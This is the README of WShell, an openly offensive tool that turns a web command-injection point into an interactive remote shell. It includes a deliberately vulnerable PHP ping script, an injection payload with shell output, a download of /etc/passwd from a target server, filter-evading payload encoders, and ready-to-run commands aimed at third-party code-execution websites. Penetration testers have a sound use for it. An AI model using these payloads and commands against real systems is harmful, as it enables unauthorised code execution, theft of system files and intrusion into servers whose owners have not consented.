Turn a web-based command injection into an interactive shell.
WShell takes a raw command injection point and turns it into something you can actually work with: persistent history, cd support, file transfers, and OS-aware behavior, all without uploading anything to the target.
Point it at a vulnerable endpoint, tell it where to inject, and it handles the rest.
pipx or uv are recommended to keep dependencies isolated:
# pipx
pipx install git+https://github.com/unlock-security/wshell.git
# uv
uv tool install git+https://github.com/unlock-security/wshell.gitWShell checks for updates on startup. Pass --no-update to skip this, or --include-prerelease to track pre-releases.
Say you've found a command injection in a ping.php page:
<?php
$host = $_POST['host'];
$count = intval($_GET['count']);
$command = "ping -c {$count} {$host} 2>&1";
echo "<pre>" . shell_exec($command) . "</pre>";
?>Use the WSHELL placeholder to mark where commands get injected:
attacker@host:/$ wshell --log=info 'https://www.target.com/ping.php?count=3' 'host=;WSHELL #'
[13:37:00] [INFO] HTTP verb not specified. Using 'POST' based on parameters.
[13:37:00] [INFO] Target OS not specified, trying to automatically detect it.
[13:37:00] [INFO] Target OS detected as Linux.
www-data@target:/var/www/html/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)WShell detects the target OS (Linux, Windows CMD, or PowerShell) and adjusts behavior accordingly.
- No upload required. Works through the injection point directly — no web shell file needed.
cdand command history work as expected across requests.- Input/output scripts let you manipulate payloads and responses in a chain — useful for bypassing filters or decoding output (see Scripts).
downloadanduploadcommands handle file transfers in chunks and abstract away OS differences.- Full HTTP control — method, headers, cookies, body format (form or JSON), delays, timeouts, redirects, custom User-Agent.
- Extensible — add your own scripts and commands without touching core code.
wshell [OPTIONS] URL [REQUEST_ITEMS...]
REQUEST_ITEMS follows HTTPie-style syntax: Key: value for headers, key=value for body parameters. The WSHELL placeholder can go in any of these or in the URL itself.
| Category | Argument | Description | Default |
|---|---|---|---|
| Core | URL |
The vulnerable endpoint. | (required) |
REQUEST ITEMS... |
Headers (Key: value) and body data (key=value). |
— | |
--os |
Target OS/shell: linux, win-cmd, win-psh. |
Auto-detected | |
--placeholder |
Injection placeholder string. | WSHELL |
|
--prompt |
Static prompt string instead of the dynamic one. | (dynamic) | |
| HTTP | -m, --method |
HTTP method. | POST if body params, else GET |
-t, --timeout |
Connection timeout in seconds. --no-timeout to disable. |
3.0 |
|
-d, --delay |
Delay between requests, in seconds. | 0 |
|
--data-raw |
Raw body string (form-urlencoded or JSON). | — | |
-j, --json / -f, --form |
Serialize body as JSON or form fields. | --form |
|
--keep-alive |
Persistent connection. --no-keep-alive to disable. |
True |
|
--follow |
Follow redirects. --no-follow to disable. |
True |
|
-ua, --user-agent |
Custom User-Agent string. | WShell X.Y.Z |
|
-r, --random-agent |
Pick a random User-Agent from the built-in list. | False |
|
| Scripts | --input-scripts |
Comma-separated script chain applied to commands before sending. | — |
--output-scripts |
Comma-separated script chain applied to server responses. | — | |
--list-scripts |
Print all available scripts. | — | |
| App | --log |
Log level: critical, error, warning, info, debug. |
warning |
--update / --no-update |
Toggle auto-update on startup. | True |
|
--include-prerelease |
Include pre-releases in the update check. | False |
|
-v, --version |
Print version and exit. | — | |
-h, --help |
Print help and exit. | — |
Scripts transform the command payload before it's sent (input scripts) or process the server's response after it's received (output scripts). They're most useful when the target requires encoded input or returns encoded/escaped output.
Run them in a comma-separated chain with --input-scripts or --output-scripts:
# Replace spaces with ${IFS}, then base64-encode — useful for filters that block spaces
wshell --input-scripts=space2ifs,base64encode 'http://example.com/vuln?cmd=WSHELL'List all available scripts:
wshell --list-scriptsType help -v at the WShell prompt to see all custom commands. The most useful one out of the box is download:
victim@vulnerable-server:/var/www/html/$ download -r /etc/passwd -l passwd.txt
[INFO] Downloading 2337 bytes as 3 chunks (1024 bytes each)
Downloading chunk 3/3
[INFO] File '/etc/passwd' downloaded to 'passwd.txt'
It handles chunking and encoding automatically, regardless of whether you're on Linux or Windows.
Create a Python file in wshell/scripts/input/ or wshell/scripts/output/. The filename becomes the script's name. Define a run(data: str) -> str function with a docstring.
# wshell/scripts/input/reverse.py
def run(command: str) -> str:
"""Reverses the command string."""
return command[::-1]Now --input-scripts=reverse works.
Create a Python file in a subdirectory of wshell/commands/. The directory name sets the category shown in help. Your class should inherit from wshell.commands.WShellCommandSet and follow the cmd2 modular commands pattern.
Use self._cmd.injector to run commands on the target, and self._dispatch() to handle OS-specific logic.
# wshell/commands/php/phpinfo.py
import argparse
from cmd2 import with_argparser
from wshell.commands import WShellCommandSet
class PHPInfoCommandSet(WShellCommandSet):
_argparser = argparse.ArgumentParser(description="Create a phpinfo() file.")
_argparser.add_argument("-f", "--filename", default="info.php", help="Name of the file.")
@with_argparser(_argparser)
def do_phpinfo(self, args) -> None:
"""Creates a file that runs phpinfo() in the current directory."""
file_content = "<?php phpinfo();"
self._dispatch("write_file", args.filename, file_content)
self._cmd.poutput(f"PHP info file created at '{args.filename}'")
def _linux_write_file(self, filename, content):
self._cmd.injector.execute(f"echo -n '{content}' > {filename}")
def _win_psh_write_file(self, filename, content):
self._cmd.injector.execute(f"Set-Content -Path '{filename}' -Value '{content}'")
def _win_cmd_write_file(self, filename, content):
self._cmd.injector.execute(f"echo {content} > {filename}")These are public, intentionally vulnerable platforms you can use to try WShell without setting anything up:
# cmdchallenge.com — online shell challenge platform
wshell --input-scripts=base64encode --output-scripts=unescape --delay=1.5 \
'https://cmdchallenge.com/c/r' 'cmd=WSHELL' 'slug=create_file'
# learnshell.org — code execution sandbox
wshell --output-scripts=unescape --json \
'https://www.learnshell.org/' 'code=WSHELL' 'language=bash'
# onecompiler.com — online compiler API
wshell --json --output-scripts=unescape \
'https://onecompiler.com/api/code/exec' \
'properties[language]=bash' \
'properties[files][][content]=WSHELL'git clone https://github.com/unlock-security/wshell
cd wshell/
python3 -m venv .venv
source .venv/bin/activate
pip install -e .Check the open Issues and Pull Requests before opening something new. The contribution guide has more details.
GPL-3.0. See LICENSE.
Made with 💙 by Unlock Security